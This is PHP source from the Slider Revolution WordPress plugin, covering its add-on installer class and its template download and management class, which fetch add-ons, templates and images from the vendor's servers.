class RevSliderAddons extends RevSliderFunctions { //before: Rev_addon_Admin
	//private $addon_version_required = '2.0.0'; //this holds the globally needed addon version for the current RS version
	
	private $addon_version_required = array(
		'revslider-404-addon' => '2.0.0',
		'revslider-backup-addon' => '2.0.0',
		'revslider-beforeafter-addon' => '3.0.0',
		'revslider-bubblemorph-addon' => '3.0.0',
		'revslider-charts-addon' => '3.0.0',
		'revslider-duotonefilters-addon' => '3.0.0',
		'revslider-explodinglayers-addon' => '3.0.0',
		'revslider-featured-addon' => '2.0.0',
		'revslider-filmstrip-addon' => '3.0.0',
		'revslider-gallery-addon' => '2.0.0',
		'revslider-liquideffect-addon' => '3.0.0',
		'revslider-login-addon' => '2.0.0',
		'revslider-lottie-addon' => '3.0.0',
		'revslider-maintenance-addon' => '2.0.0',
		'revslider-mousetrap-addon' => '3.0.0',
		'revslider-paintbrush-addon' => '3.0.0',
		'revslider-panorama-addon' => '3.0.0',
		'revslider-particles-addon' => '3.0.0',
		'revslider-polyfold-addon' => '3.0.0',
		'revslider-prevnext-posts-addon' => '2.0.0',
		'revslider-rel-posts-addon' => '2.0.0',
		'revslider-refresh-addon' => '3.0.0',
		'revslider-revealer-addon' => '3.0.0',
		'revslider-scrollvideo-addon' => '3.0.0',
		'revslider-sharing-addon' => '3.0.0',
		'revslider-slicey-addon' => '3.0.0',
		'revslider-snow-addon' => '3.0.0',
		'revslider-typewriter-addon' => '3.0.0',
		'revslider-weather-addon' => '2.0.0',
		'revslider-whiteboard-addon' => '3.0.0',
	);
	
	public function __construct(){
		include_once(ABSPATH . 'wp-admin/includes/plugin.php');
	}
	
	/**
	 * get all the addons with information
	 **/
	public function get_addon_list(){

		$addons	= get_option('revslider-addons');
		$addons	= (array)$addons;
		$addons = array_reverse($addons, true);
		$plugins = get_plugins();
		
		if(!empty($addons)){
			foreach($addons as $k => $addon){
				if(!is_object($addon)) continue;
				if(array_key_exists($addon->slug.'/'.$addon->slug.'.php', $plugins)){
					$addons[$k]->full_title	= $plugins[$addon->slug.'/'.$addon->slug.'.php']['Name'];
					$addons[$k]->active = is_plugin_active($addon->slug.'/'.$addon->slug.'.php');
					$addons[$k]->installed	= $plugins[$addon->slug.'/'.$addon->slug.'.php']['Version'];
				}else{
					$addons[$k]->active = false;
					$addons[$k]->installed	= false;
				}
			}
		}
		
		return $addons;
	}
	
	/**
	 * get a specific addon version
	 **/
	public function get_addon_version($handle){
		$list = $this->get_addon_list();
		return $this->get_val($list, array($handle, 'installed'), false);
	}

	/**
	 * check if any addon is below version x (for RS6.0 this is version 2.0)
	 * if yes give a message that tells to update
	 **/
	public function check_addon_version(){
		$rs_addons	= $this->get_addon_list();
		$update		= array();
		
		if(!empty($rs_addons)){
			foreach($rs_addons as $handle => $addon){
				$installed = $this->get_val($addon, 'installed');
				if(trim($installed) === '') continue;
				if($this->get_val($addon, 'active', false) === false) continue;
				
				$version = $this->get_val($this->addon_version_required, $handle, false);
				if($version !== false && version_compare($installed, $version, '<')){
					$available = (version_compare($version, $this->get_val($addon, 'available'), '>')) ? $version : $this->get_val($addon, 'available');
					$update[$handle] = array(
						'title' => $this->get_val($addon, 'full_title'),
						'old'	=> $installed,
						'new'	=> $available,
						'status'=> '1' //1 is mandatory to use it
					);
				}
			}
		}
		
		return $update;
	}
	
	/**
	 * Install Add-On/Plugin
	 *
	 * @since 6.0
	 */
	public function install_addon($addon, $force = false){
		if(get_option('revslider-valid', 'false') !== 'true') return __('Please activate Slider Revolution', 'revslider');
		
		//check if downloaded already
		$plugins	= get_plugins();
		$addon_path = $addon.'/'.$addon.'.php';
		if(!array_key_exists($addon_path, $plugins) || $force == true || !file_exists(WP_PLUGIN_DIR.'/'.$addon_path)){
			//download if nessecary
			return $this->download_addon($addon);
		}
		
		//activate 
		$activate = $this->activate_addon($addon_path);
		
		return $activate;
	}
	
	/**
	 * Download Add-On/Plugin
	 *
	 * @since    1.0.0
	 */
	public function download_addon($addon){
		global $rslb;
		
		if(get_option('revslider-valid', 'false') !== 'true') return __('Please activate Slider Revolution', 'revslider');
		
		$plugin_slug	= basename($addon);
		if(0 !== strpos($plugin_slug, 'revslider-')) die( '-1' );

		$code = get_option('revslider-code', '');
		
		$done	= false;
		$count	= 0;
		$rattr	= array(
			'code'		=> urlencode($code),
			'version'	=> urlencode(RS_REVISION),
			'product'	=> urlencode(RS_PLUGIN_SLUG),
			'type'		=> urlencode($plugin_slug)
		);
		
		do{	
			$url = 'addons/'.$plugin_slug.'/download.php';
			$get = $rslb->call_url($url, $rattr, 'updates');
			
			if(wp_remote_retrieve_response_code($get) == 200){
				$done = true;
			}else{
				$rslb->move_server_list();
			}
			
			$count++;
		}while($done == false && $count < 5);
		
		if($get && $get['body'] != 'invalid' && wp_remote_retrieve_response_code($get) == 200){
			$upload_dir	= wp_upload_dir();
			$file		= $upload_dir['basedir']. '/revslider/templates/' . $plugin_slug . '.zip';
			@mkdir(dirname($file), 0777, true);
			$ret		= @file_put_contents($file, $get['body']);
			
			require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php');
			require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-direct.php');
			$fsd = new WP_Filesystem_Direct(false);
			WP_Filesystem();
			
			global $wp_filesystem;

			$upload_dir	= wp_upload_dir();
			$d_path		= WP_PLUGIN_DIR;
			$fsd->rmdir($d_path . '/' . $plugin_slug, true); //remove the addon folder if exists

			$unzipfile	= unzip_file($file, $d_path);

			if(is_wp_error($unzipfile)){
				define('FS_METHOD', 'direct'); //lets try direct. 

				WP_Filesystem();  //WP_Filesystem() needs to be called again since now we use direct !

				//@chmod($file, 0775);
				$unzipfile = unzip_file($file, $d_path);
				if(is_wp_error($unzipfile)){
					$d_path = WP_PLUGIN_DIR;
					$unzipfile = unzip_file($file, $d_path);
					
					if(is_wp_error($unzipfile)){
						$f		= basename($file);
						$d_path = str_replace($f, '', $file);

						$unzipfile = unzip_file($file, $d_path);
					}
				}
			}
			
			@unlink($file);
			return true;
		}
		
		//$result = activate_plugin( $plugin_slug.'/'.$plugin_slug.'.php' );
		return false;
	}
	
	/**
	 * Activates Installed Add-On/Plugin
	 *
	 * @since    1.0.0
	 */
	public function activate_addon($addon){
		// Verify that the incoming request is coming with the security nonce
		if(isset($addon)){
			$result = activate_plugin($addon);
			if(is_wp_error($result)){
				// Process Error
				return false;
			}
		}else{
			return false;
		}
		
		return true;
	}

	/**
	 * Deactivates Installed Add-On/Plugin
	 *
	 * @since    1.0.0
	 */
	public function deactivate_addon($addon){
		// Verify that the incoming request is coming with the security nonce
		deactivate_plugins($addon);
		return true;
	}
}

class Rev_addon_Admin extends RevSliderAddons {}PK�y3\����z�zincludes/template.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderTemplate extends RevSliderFunctions {
	
	private $templates_list			= 'revslider/get-list.php';
	private $templates_download		= 'revslider/download.php';
	
	private $templates_server_path	= '/revslider/images/';
	private $templates_path			= '/revslider/templates/';
	
	private $curl_check				= null;
	
	const SHOP_VERSION				= '2.0';
	
	/**
	 * Download template by UID (also validates if download is legal)
	 * @since: 5.0.5
	 */
	public function _download_template($uid){
		$rslb	= RevSliderGlobals::instance()->get('RevSliderLoadBalancer');
		$return	= false;
		$uid	= $this->clear_uid($uid);
		$uid	= esc_attr($uid);
		$code	= (get_option('revslider-valid', 'false') == 'false') ? '' : get_option('revslider-code', '');
		
		$upload_dir = wp_upload_dir(); // Set upload folder
		// Check folder permission and define file location
		if(wp_mkdir_p($upload_dir['basedir'].$this->templates_path)){ //check here to not flood the server
			$data = array(
				'code'		=> urlencode($code),
				'shop_version' => urlencode(self::SHOP_VERSION),
				'version'	=> urlencode(RS_REVISION),
				'uid'		=> urlencode($uid),
				'product'	=> urlencode(RS_PLUGIN_SLUG)
			);
			
			$request = $rslb->call_url($this->templates_download, $data, 'templates');
			
			if(!is_wp_error($request)){
				if($response = $this->get_val($request, 'body')){
					if($response !== 'invalid'){
						//add stream as a zip file
						$file = $upload_dir['basedir']. $this->templates_path . '/' . $uid.'.zip';
						@mkdir(dirname($file));
						$ret = @file_put_contents( $file, $response );
						if($ret !== false){
							//return $file so it can be processed. We have now downloaded it into a zip file
							$return = $file;
						}else{//else, print that file could not be written
							$return = array('error' => __('Can\'t write the file into the uploads folder of WordPress, please change permissions and try again!', 'revslider'));
						}
					}else{
						$error = ($this->get_addition('selling') === true) ? __('License Key is invalid', 'revslider') : __('Purchase Code is invalid', 'revslider');
						
						$return = array('error' => $error);
					}
				}
			}else{//else, check for error and print it to customer
				$return = array('error' => __('Can\'t connect programatically to the ThemePunch servers, please check your webserver settings', 'revslider'));
			}
		}else{
			$return = array('error' => __('Can\'t write into the uploads folder of WordPress, please change permissions and try again!', 'revslider'));
		}
		
		return $return;
	}
	
	
	/**
	 * Delete the Template file
	 * @since: 5.0.5
	 */
	public function _delete_template($uid){
		$uid		= $this->clear_uid($uid);
		$uid		= esc_attr($uid);
		$upload_dir	= wp_upload_dir(); //Set upload folder
		
		// Check folder permission and define file location
		if(wp_mkdir_p($upload_dir['basedir'] . $this->templates_path)){
			$file = $upload_dir['basedir'] . $this->templates_path . '/' . $uid.'.zip';
			if(file_exists($file)){ //delete file
				return unlink($file);
			}
		}
		return false;
	}
	
	
	/**
	 * Get the Templatelist from servers
	 * @since: 5.0.5
	 */
	public function _get_template_list($force = false){
		$rslb		= RevSliderGlobals::instance()->get('RevSliderLoadBalancer');
		$last_check	= get_option('revslider-templates-check');
		
		if($last_check == false){ //first time called
			$last_check = 172801;
			update_option('revslider-templates-check',  time());
		}
		
		// Get latest Templates
		if(time() - $last_check > 345600 || $force == true){ //4 days
			
			update_option('revslider-templates-check', time());

			$hash = ($force === true) ? '' : get_option('revslider-templates-hash', '');
			$code = (get_option('revslider-valid', 'false') == 'false') ? '' : get_option('revslider-code', '');
			$data = array(
				'code'		=> urlencode($code),
				'shop_version' => urlencode(self::SHOP_VERSION),
				'hash'		=> urlencode($hash),
				'version'	=> urlencode(RS_REVISION),
				'product'	=> urlencode(RS_PLUGIN_SLUG)
			);
			$request = $rslb->call_url($this->templates_list, $data, 'templates');

			if(!is_wp_error($request)){
				if($response = maybe_unserialize($request['body'])){
					$templates = json_decode($response, true);
					if(is_array($templates)){
						if(isset($templates['hash'])) update_option('revslider-templates-hash', $templates['hash']);
						update_option('rs-templates-new', $templates, false);
					}
				}
			}
			
			$this->update_template_list();
		}
	}
	
	
	/**
	 * Update the Templatelist, move rs-templates-new into rs-templates
	 * @since: 5.0.5
	 */
	private function update_template_list(){
		$new = get_option('rs-templates-new', false);
		$cur = get_option('rs-templates', array());
		
		$counter = 0;
		
		if($new !== false && !empty($new) && is_array($new)){
			if(empty($cur)){
				$cur = $new;
				$counter = (isset($cur['slider']) && is_array($cur['slider'])) ? count($cur['slider']) : $counter;
			}else{
				if(isset($new['slider']) && is_array($new['slider'])){
					if(isset($cur['slider']) && is_array($cur['slider']) && isset($new['slider']) && is_array($cur['slider'])){
						$_n = count($new['slider']);
						$_c = count($cur['slider']);
						$counter = ($_n > $_c) ? $_n - $_c : $counter;
					}
					
					foreach($new['slider'] as $n){
						$found = false;
						if(isset($cur['slider']) && is_array($cur['slider'])){
							foreach($cur['slider'] as $ck => $c){
								if($c['uid'] == $n['uid']){
									if(version_compare($c['version'], $n['version'], '<')){
										$n['is_new'] = true;
										$n['push_image'] = true; //push to get new image and replace
									}
									if(isset($c['is_new'])) $n['is_new'] = true; //is_new will stay until update is done
									
									$n['exists'] = true; //if this flag is not set here, the template will be removed from the list
									
									if(isset($n['new_slider'])){
										unset($n['new_slider']); //remove this again, as the new flag should be removed now
									}
									
									$cur['slider'][$ck] = $n;
									$found = true;
									
									break;
								}
							}
						}
						
						if(!$found){
							$n['exists']	 = true;
							$n['new_slider'] = true;
							$cur['slider'][] = $n;
						}
					}
					
					foreach($cur['slider'] as $ck => $c){ //remove no longer available Slider
						if(!isset($c['exists'])){
							unset($cur['slider'][$ck]);
						}else{
							unset($cur['slider'][$ck]['exists']);
						}
					}
					
					$cur['slides'] = $new['slides']; // push always all slides
				}
			}
			
			update_option('rs-templates', $cur, false);
			update_option('rs-templates-new', false, false);
			
			//$this->_update_images();
		}
		
		update_option('rs-templates-counter', $counter, false);
	}
	
	
	/**
	 * Remove the is_new attribute which shows the "update available" button
	 * @since: 5.0.5
	 */
	public function remove_is_new($uid){
		$cur = get_option('rs-templates', array());
		
		if(isset($cur['slider']) && is_array($cur['slider'])){
			foreach($cur['slider'] as $ck => $c){
				if($c['uid'] == $uid){
					unset($cur['slider'][$ck]['is_new']);
					break;
				}
			}
		}
		
		update_option('rs-templates', $cur, false);
	}
	
	
	/**
	 * Update the Images get them from Server and check for existance on each image
	 * @since: 5.0.5
	 * @param bool $img
	 */
	private function _update_images($img = false){
		$rslb	= RevSliderGlobals::instance()->get('RevSliderLoadBalancer');
		$templates = get_option('rs-templates', array());
		$chk	= $this->check_curl_connection();
		$curl	= ($chk) ? new WP_Http_Curl() : false;
		$url	= $rslb->get_url('templates', 0, true);
		$reload	= array();
		
		$loaded = false;
		
		if(!empty($templates) && is_array($templates)){
			$upload_dir = wp_upload_dir(); // Set upload folder
			if(!empty($templates['slider']) && is_array($templates['slider'])){
				foreach($templates['slider'] as $key => $temp){
					if($img !== false){ //we want to download a certain image, check for it
						if($this->get_val($temp, 'img') !== $img) continue;
					}
					
					// Check folder permission and define file location
					if(wp_mkdir_p($upload_dir['basedir']. $this->templates_path)){
						$file = $upload_dir['basedir'] . $this->templates_path . '/' . $temp['img'];
						
						if(!file_exists($file) || isset($temp['push_image'])){
							if($curl !== false){
								$done	= false;
								$count	= 0;
								do{
									$image_data = @$curl->request($url.'/'.$this->templates_server_path.$temp['img']); // Get image data
									if(!is_wp_error($image_data) && isset($image_data['body']) && isset($image_data['response']) && isset($image_data['response']['code']) && $image_data['response']['code'] == '200'){
										$image_data = $image_data['body'];
										$done = true;
									}else{
										$image_data = false;
										$rslb->move_server_list();
										$url = $rslb->get_url('templates', 0, true);
									}
									$count++;
								}while($done == false && $count < 5);
							}else{
								$count = 0;
								do{
									$image_data = @file_get_contents($url.'/'.$this->templates_server_path.$temp['img']); // Get image data
									if($image_data == false){
										$rslb->move_server_list();
										$url = $rslb->get_url('templates', 0, true);
									}
									$count++;
								}while($image_data == false && $count < 5);
							}
							if($image_data !== false){
								$reload[$temp['alias']] = true;
								unset($templates['slider'][$key]['push_image']);
								if(!is_dir(dirname($file))){
									mkdir(dirname($file), 0777, true);
								}
								@file_put_contents($file, $image_data);
								
								$loaded = $file;
							}
						}else{//use default image
						}
					}else{//use default images
					}
				}
			}
			if($loaded === false){
				if(!empty($templates['slides']) && is_array($templates['slides'])){
					foreach($templates['slides'] as $key => $temp){
						foreach($temp as $k => $tvalues){
							if($img !== false){ //we want to download a certain image, check for it
								if($this->get_val($tvalues, 'img') !== $img) continue;
							}
							
							// Check folder permission and define file location
							if(wp_mkdir_p($upload_dir['basedir']. $this->templates_path)){
								$file = $upload_dir['basedir'] . $this->templates_path . '/' . $tvalues['img'];
								
								if(!file_exists($file) || isset($reload[$key])){ //update, so load again
									if($curl !== false){
										//curl_setopt( $curl, CURLOPT_CAINFO, RS_PLUGIN_PATH.'cert.crt'); //'sslcertificates'
										$done	= false;
										$count	= 0;
										do{
											$image_data = @$curl->request($url.'/'.$this->templates_server_path.$tvalues['img']); // Get image data
											if(!is_wp_error($image_data) && isset($image_data['body']) && isset($image_data['response']) && isset($image_data['response']['code']) && $image_data['response']['code'] == '200'){
												$image_data = $image_data['body'];
												$done = true;
											}else{
												$image_data = false;
												$rslb->move_server_list();
												$url = $rslb->get_url('templates', 0, true);
											}
											$count++;
										}while($done == false && $count < 5);
									}else{
										$count = 0;
										do{
											$image_data = @file_get_contents($url.'/'.$this->templates_server_path.$tvalues['img']); // Get image data
											if($image_data == false){
												$rslb->move_server_list();
												$url = $rslb->get_url('templates', 0, true);
											}
											$count++;
										}while($image_data == false && $count < 5);
									}
									if($image_data !== false){
										if(!is_dir(dirname($file))){
											mkdir(dirname($file), 0777, true);
										}
										file_put_contents($file, $image_data);
									}
								}
							}
						}
					}
				}
			}
		}
		
		update_option('rs-templates', $templates, false); //remove the push_image
	}
	
	
	/**
	 * Copy a Slide to the Template Slide list
	 * @since: 5.0
	 * @before: RevSliderTemplate::copySlideToTemplates()
	 * @param int $slide_id
	 * @param string $slide_title
	 * @param array $slide_settings
	 */
	public function copy_slide_to_templates($slide_id, $slide_title, $slide_settings = array()){
		global $wpdb;

		if(intval($slide_id) == 0) return false;
		$slide_title = sanitize_text_field($slide_title);
		if(strlen(trim($slide_title)) < 3) return false;

		$duplicate = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE id = %s", $slide_id), ARRAY_A);
		if(empty($duplicate)) return false;
		
		unset($duplicate['id']);
		$duplicate['slider_id']		= -1; //-1 sets it to be a template
		$duplicate['slide_order']	= -1;
		
		$params = json_decode($duplicate['params'], true);
		$settings = json_decode($duplicate['settings'], true);
		
		$params['title'] = $slide_title;
		if(!isset($params['publish'])) $params['publish'] = array();
		$params['publish']['state'] = 'published';
		
		if(isset($slide_settings['width'])) $settings['width'] = intval($slide_settings['width']);
		if(isset($slide_settings['height'])) $settings['height'] = intval($slide_settings['height']);
		
		$duplicate['params']	= json_encode($params);
		$duplicate['settings']	= json_encode($settings);
		
		$response = $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $duplicate);
		
		return ($response) ? true : false;
	}
	
	
	/**
	 * Get all Template Slides
	 * @since: 5.0
	 * @before: RevSliderTemplate::getTemplateSlides();
	 */
	public function get_template_slides(){
		global $wpdb;
		
		$templates	= $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", -1), ARRAY_A);
		//add default Template Slides here!
		$default	= $this->get_default_template_slides();
		$templates	= array_merge($templates, $default);
		
		if(!empty($templates)){
			foreach($templates as $key => $template){
				$templates[$key]['params']		= json_decode($template['params'], true);
				//$templates[$key]['layers']	= json_decode($template['layers'], true);
				$templates[$key]['settings']	= json_decode($template['settings'], true);
			}
		}
		
		return $templates;
	}
	
	
	/**
	 * Add default Template Slides that can't be deleted for example. Authors can add their own Slides here through Filter
	 * @since: 5.0
	 * @before: RevSliderTemplate::getDefaultTemplateSlides();
	 */
	private function get_default_template_slides(){
		$templates = array();
		$templates = apply_filters('revslider_set_template_slides', $templates);
		
		return $templates;
	}
	
	
	/**
	 * get default ThemePunch default Slides
	 * @since: 5.0
	 * @before: RevSliderTemplate::getThemePunchTemplateSlides()
	 * @param bool $sliders
	 */
	public function get_tp_template_slides($sliders = false){
		global $wpdb;
		
		$templates		= array();

		if($sliders == false){
			$sliders = $this->get_tp_template_sliders();
		}
		
		if(!empty($sliders)){
			foreach($sliders as $slider){
				$slides		= $this->get_tp_template_default_slides($slider['alias']);
				$installed	= false;
				
				if($this->get_val($slider, 'installed', false) !== false){
					$cur_slides = $wpdb->get_results($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE slider_id = %s", $slider['installed']), ARRAY_A);
					$installed	= true;
				}else{
					$cur_slides = $slides;
				}
				
				if(!empty($cur_slides)){
					$i = 1;
					foreach($cur_slides as $key => $tmpl){
						if(isset($slides[$key]) && !empty($slides[$key]['img'])) $cur_slides[$key]['img']	= $this->_check_file_path($slides[$key]['img'], true, false);
						if($this->get_val($tmpl, 'title', false) === false) $cur_slides[$key]['title']		= 'Slide '.$i;
						$cur_slides[$key]['uid']	= $this->get_val($slider, 'uid');
						$cur_slides[$key]['parent']	= $this->get_val($slider, 'id');
						if($installed){
							$cur_slides[$key]['installed'] = $this->get_val($tmpl, 'id');
						}
						
						//addon requirements
						$cur_slides[$key]['plugin_require'] = $this->get_val($slider, 'plugin_require', array());
						
						$i++;
					}
				}
				
				$templates = array_merge($templates, $cur_slides);
			}
		}
		
		if(!empty($templates)){
			foreach($templates as $key => $template){
				if($this->get_val($template, 'installed', false) !== false){
					$template['params']		= $this->get_val($template, 'params', '');
					$template['layers']		= $this->get_val($template, 'layers', '');
					$template['settings']	= $this->get_val($template, 'settings', '');
					
					$templates[$key]['params']	 = json_decode($template['params'], true);
					//$templates[$key]['layers'] = json_decode($template['layers'], true);
					$templates[$key]['settings'] = json_decode($template['settings'], true);
					
					//add missing uid and zipname
				}
				
				//$templates[$key]['slider_id'] = json_decode($template['settings'], true);
			}
		}
		
		return $templates;
	}
	
	
	/**
	 * get default ThemePunch default Slides
	 * @since: 5.0
	 * @before: RevSliderTemplate::getThemePunchTemplateDefaultSlides()
	 */
	public function get_tp_template_default_slides($slider_alias){
		
		$templates	= get_option('rs-templates', array());
		$slides		= (isset($templates['slides']) && !empty($templates['slides'])) ? $templates['slides'] : array();
		
		return (isset($slides[$slider_alias])) ? $slides[$slider_alias] : array();
	}
	
	
	/**
	 * Get default Template Sliders
	 * @since: 5.0
	 * @before: RevSliderTemplate::getDefaultTemplateSliders();
	 */
	public function get_default_template_sliders(){
		global $wpdb;

		//add themepunch default Sliders here
		$check = $wpdb->get_results("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE type = 'template'", ARRAY_A);
		$sliders = apply_filters('revslider_set_template_sliders', array());
		
		/**
		 * Example		 
			$sliders['Slider Pack Name'] = array(
				array('title' => 'PJ Slider 1', 'alias' => 'pjslider1', 'width' => 1400, 'height' => 868, 'zip' => 'exwebproduct.zip', 'uid' => 'bde6d50c2f73f8086708878cf227c82b', 'installed' => false, 'img' => RS_PLUGIN_URL .'admin/assets/imports/exwebproduct.jpg'),
				array('title' => 'PJ Classic Slider', 'alias' => 'pjclassicslider', 'width' => 1240, 'height' => 600, 'zip' => 'classicslider.zip', 'uid' => 'a0d6a9248c9066b404ba0f1cdadc5cf2', 'installed' => false, 'img' => RS_PLUGIN_URL .'admin/assets/imports/classicslider.jpg')
			);
		 **/
		
		if(!empty($check) && !empty($sliders)){
			foreach($sliders as $key => $the_sliders){
				foreach($the_sliders as $skey => $slider){
					foreach($check as $ikey => $installed){
						if($installed['alias'] == $slider['alias']){ //.'-template'
							$img = $this->get_val($slider, 'img');
							$sliders[$key][$skey] = $installed;
							$sliders[$key][$skey]['img'] = $this->_check_file_path($img, true, false);
							$sliders[$key]['version'] = $this->get_val($slider, 'version', '');
							if(isset($slider['is_new'])) $sliders[$key]['is_new'] = true;
							$preview = (isset($slider['preview'])) ? $slider['preview'] : false;
							if($preview !== false) $sliders[$key]['preview'] = $preview;
							break;
						}
					}
				}
			}
		}
		
		if(!empty($sliders)){
			foreach($sliders as $dk => $slider){
				$sliders[$dk]['plugin_require'] = json_decode($sliders[$dk]['plugin_require'], true);
				
				$tags	= $sliders[$dk]['filter'];
				$tags[]	= $sliders[$dk]['cat'];
				$sliders[$dk]['tags'] = $tags;
				if(!isset($sliders[$dk]['setup_notes'])){
					$sliders[$dk]['setup_notes'] = '<span class="ttm_content">Checkout our <a href="https://www.themepunch.com/revslider-doc/slider-revolution-documentation/" target="_blank" rel="noopener">Documentation</a> for basic Slider Revolution help.</span>';
				}
				
				unset($sliders[$dk]['filter']);
				unset($sliders[$dk]['cat']);
			}
		}
		
		return $sliders;
	}
	
	
	/**
	 * get default ThemePunch default Sliders
	 * @since: 5.0
	 * @before: RevSliderTemplate::getThemePunchTemplateSliders()
	 *
	 */
	public function get_tp_template_sliders($uid = false){
		global $wpdb;

		$plugin_list = array();
		
		//add themepunch default Sliders here
		$sliders = $wpdb->get_results("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE type = 'template'", ARRAY_A);
		
		$defaults = get_option('rs-templates', array());
		$defaults = $this->get_val($defaults, 'slider', array());
		
		if(!empty($sliders) && !empty($defaults)){

			foreach($defaults as $key => $slider){
				if($uid !== false && $uid !== $this->get_val($slider, 'uid')){
					unset($defaults[$key]);
					continue;
				}
				foreach($sliders as $ikey => $installed){
					if($installed['alias'] == $slider['alias']){ //.'-template'
						
						//check if $sliders has slides, if not, set for redownload by deleting Template Slider in table
						$c_slides = $this->get_tp_template_slides(array($installed));
						if(empty($c_slides)){
							//delete slider in table
							$wpdb->delete($wpdb->prefix . RevSliderFront::TABLE_SLIDER, array('type' => 'template', 'id' => $installed['id']));
							break;
						}
						
						$preview = $this->get_val($slider, 'preview', false);
						$id		 = $this->get_val($installed, 'id');
						unset($installed['id']);
						
						$defaults[$key] = array_merge($defaults[$key], $installed);
						$defaults[$key]['installed'] = $id;
						$defaults[$key]['img']		 = $this->_check_file_path($slider['img'], true, false);
						$defaults[$key]['version']	 = $slider['version'];
						$defaults[$key]['cat']		 = $slider['cat'];
						$defaults[$key]['filter']	 = $slider['filter'];
						
						if(isset($slider['is_new'])){
							$defaults[$key]['is_new']	= true;
							$defaults[$key]['width']	= $slider['width'];
							$defaults[$key]['height']	= $slider['height'];
						}
						$defaults[$key]['zip'] = $slider['zip'];
						$defaults[$key]['uid'] = $slider['uid'];
						
						if(isset($slider['new_slider'])) $defaults[$key]['new_slider'] = $slider['new_slider'];
						
						if($preview !== false) $defaults[$key]['preview'] = $preview;
						break;
					}
				}
			}
			
			foreach($defaults as $dk => $di){ //check here if package parent needs to be set to installed, as all others
				if(isset($di['package_parent']) && $di['package_parent'] == 'true'){
					$full_installed = true;
					foreach($defaults as $k => $ps){
						if($dk !== $k && isset($ps['package_id']) && $ps['package_id'] === $di['package_id']){ //ignore comparing of the same, as it can never be installed
							//if($this->get_val($ps, 'installed') !== false){
							if($this->get_val($ps, 'installed') === false){
								$full_installed = false;
								break;
							}
						}
					}
					
					if($full_installed){
						$defaults[$dk]['installed'] = true;
					}
				}
			}
		}
		
		if(!empty($defaults)){
			$favorite = RevSliderGlobals::instance()->get('RevSliderFavorite');
			
			foreach($defaults as $dk => $default){
				if($uid !== false && $uid !== $this->get_val($default, 'uid')){
					unset($defaults[$dk]);
					continue;
				}
				$defaults[$dk]['plugin_require'] = json_decode($defaults[$dk]['plugin_require'], true);
				
				if(!empty($defaults[$dk]['plugin_require'])){
					foreach($defaults[$dk]['plugin_require'] as $pr => $plugin){
						$path = $this->get_val($plugin, 'path');
						if(!isset($plugin_list[$path])){
							$plugin_list[$path] = (is_plugin_active(esc_attr($path))) ? true : false;
						}
						$defaults[$dk]['plugin_require'][$pr]['installed'] = ($plugin_list[$path] === true) ? true : false;
					}
				}

				$tags	= $defaults[$dk]['filter'];
				$tags[]	= $defaults[$dk]['cat'];
				$defaults[$dk]['tags'] = $tags;
				unset($defaults[$dk]['filter']);
				unset($defaults[$dk]['cat']);
				
				if(!isset($defaults[$dk]['setup_notes'])){
					$defaults[$dk]['setup_notes'] = '<span class="ttm_content">Checkout our <a href="https://www.themepunch.com/revslider-doc/slider-revolution-documentation/" target="_blank" rel="noopener">Documentation</a> for basic Slider Revolution help.</span>';
				}
				
				$id = $this->get_val($default, 'id', 0);
				$defaults[$dk]['favorite'] = $favorite->is_favorite('moduletemplates', $id);
			}
		}
		
		krsort($defaults);
		
		return $defaults;
	}
	
	
	/**
	 * get the template sliders for the get_full_library function
	 * @since: 6.0
	 */
	public function get_tp_template_sliders_for_library($leave_counter = false){
		$templates = $this->get_tp_template_sliders();
		if(!empty($templates)){
			foreach($templates as $k => $t){
				if(isset($templates[$k]['params'])) unset($templates[$k]['params']);
			}
		}
		
		if(!$this->_truefalse($leave_counter)){
			update_option('rs-templates-counter', 0, false); //reset the counter
		}
		return $templates;
	}
	
	
	/**
	 * get the template slides for the get_full_library function
	 * @since: 6.0
	 */
	public function get_tp_template_slides_for_library($tmp_slide_uid){
		$tmp_slide_uid = (array)$tmp_slide_uid;
		if(!empty($tmp_slide_uid)){
			$templates = array();
			foreach($tmp_slide_uid as $tmp_uid){
				$templates = $this->get_tp_template_sliders($tmp_uid);
			}
		}else{
			$templates = $this->get_tp_template_sliders();
		}
		
		$templates_slides = $this->get_tp_template_slides($templates);
		
		if(!empty($templates_slides)){
			foreach($templates_slides as $t_k => $t_slide){
				if(isset($t_slide['params'])) unset($templates_slides[$t_k]['params']);
				if(isset($t_slide['layers'])) unset($templates_slides[$t_k]['layers']);
				if(isset($t_slide['settings'])) unset($templates_slides[$t_k]['settings']);
			}
		}
		
		return $templates_slides;
	}
	
	
	/**
	 * check if image was uploaded, if yes, return path or url
	 * @since: 5.0.5
	 */
	public function _check_file_path($image, $url = false, $download = true){
		$upload_dir	 = wp_upload_dir(); // Set upload folder
		$file		 = $upload_dir['basedir'] . $this->templates_path . '/' . $image;
		
		if(file_exists($file)){ //downloaded image first, for update reasons
			$image = ($url) ? $upload_dir['baseurl'] . $this->templates_path . '/' . $image : $upload_dir['basedir'] . $this->templates_path . '/' . $image; //server path
		}elseif($download === true){
			//redownload image from server and store it
			$this->_update_images($image);
			if(file_exists($file)){ //downloaded image first, for update reasons
				$image = ($url) ? $upload_dir['baseurl'] . $this->templates_path . '/' . $image : $upload_dir['basedir'] . $this->templates_path . '/' . $image; //server path
			}
		}
		
		return $image;
	}
	
	
	/**
	 * Get all uids from a certain package, by one uid
	 * @since: 5.2.5
	 */
	public function get_package_uids($uid, $sliders = false){
		if($sliders == false){
			$sliders = $this->get_tp_template_sliders();
		}
		
		$uids = array();
		
		$package = false;
		foreach($sliders as $slider){
			if($slider['uid'] == $uid){
				if(isset($slider['package'])){
					$package = $slider['package'];
				}
				break;
			}
		}
		
		if($package !== false){
			$i = 0;
			$tuids = array();
			foreach($sliders as $slider){
